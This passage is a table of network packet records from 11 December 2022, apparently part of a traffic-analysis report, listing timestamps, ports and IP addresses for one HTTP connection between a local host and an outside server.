Dec 11, 2022 09:25:53.316869974 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.316909075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.316951990 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.316967010 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.316999912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317044973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317086935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317090988 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317130089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317152023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317173958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317215919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317229986 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317261934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317303896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317315102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317347050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317382097 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317413092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317441940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317457914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317466021 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317502975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317545891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317557096 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317589998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317631960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317643881 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317676067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317718983 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317730904 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.317763090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317806959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.317817926 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.337892056 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.337953091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.337974072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338001966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338048935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338058949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338094950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338150024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338174105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338191032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338218927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338248968 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338263035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338305950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338315964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338350058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338392973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338418961 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338438034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338484049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338496923 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338527918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338571072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338593006 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338614941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338665962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338670015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338709116 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338752031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338762999 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338794947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338838100 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338852882 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338906050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338948965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.338964939 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.338998079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339041948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339061975 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339087963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339131117 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339139938 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339174032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339215994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339236975 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339257956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339303017 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339318991 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339346886 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339390993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339406967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339433908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339481115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339488983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339524031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339565992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339582920 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339608908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339657068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339664936 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339680910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339725971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339746952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339768887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339812040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339827061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339857101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339886904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339912891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339915991 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.339957952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.339972973 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.340533972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.340600014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.341325998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.341358900 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.341418028 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360074997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360146999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360193014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360240936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360238075 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360266924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360305071 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360312939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360358000 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360378027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360404968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360449076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360457897 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360492945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360542059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360549927 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360584974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360630035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360645056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360675097 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360717058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360726118 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360760927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360804081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360819101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360846996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360891104 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360899925 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.360934973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360979080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.360991955 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361031055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361058950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361090899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361103058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361148119 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361160040 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361195087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361238956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361248016 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361282110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361325026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361330986 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361368895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361412048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361418962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361455917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361499071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361505985 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361541033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361584902 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361596107 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361629963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361674070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361679077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361716986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361758947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361771107 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361802101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361844063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361852884 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361887932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361931086 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.361938000 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.361974955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362021923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362026930 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.362066031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362107992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362119913 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.362150908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362193108 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362201929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.362237930 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.362289906 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.365430117 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.382373095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.382435083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.382482052 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.382571936 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.382998943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.383049011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.383070946 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.383115053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.383238077 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385490894 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385536909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385580063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385602951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385622978 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385668039 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385685921 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385724068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385767937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385780096 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385812044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385854959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385869026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385900974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385942936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.385958910 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.385989904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386033058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386045933 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386075974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386121035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386132002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386163950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386208057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386223078 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386259079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386282921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386312008 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386316061 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386363029 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386378050 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386408091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386459112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386464119 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386485100 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386528969 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386547089 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386574030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386616945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386661053 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386661053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386707067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386727095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386750937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386796951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386804104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386841059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386903048 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.386907101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386950970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.386996031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387005091 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387041092 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387085915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387094975 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387128115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387171984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387181044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387214899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387258053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387267113 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387300968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387343884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387352943 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387387991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387430906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387439966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387474060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387516975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387523890 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387558937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387604952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387617111 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387650013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387692928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387712002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387736082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387782097 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387787104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387824059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387866974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387877941 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.387911081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387953043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.387965918 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388005018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388027906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388056993 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388072014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388114929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388132095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388156891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388200045 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388211012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388246059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388290882 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388307095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388334990 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388377905 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388386965 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388422012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388464928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388475895 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388508081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388550043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388562918 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388598919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388622999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388654947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388667107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388711929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388721943 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388755083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388797045 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388808966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388840914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388875961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388896942 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.388919115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388962030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.388971090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389008045 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389050961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389069080 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389094114 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389136076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389147043 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389178991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389221907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389230967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389262915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389306068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389316082 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389348984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389390945 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389400005 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389435053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389477015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389488935 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389520884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389563084 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389573097 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389605999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389651060 CET	80	49719	131.188.40.189	192.168.2.3
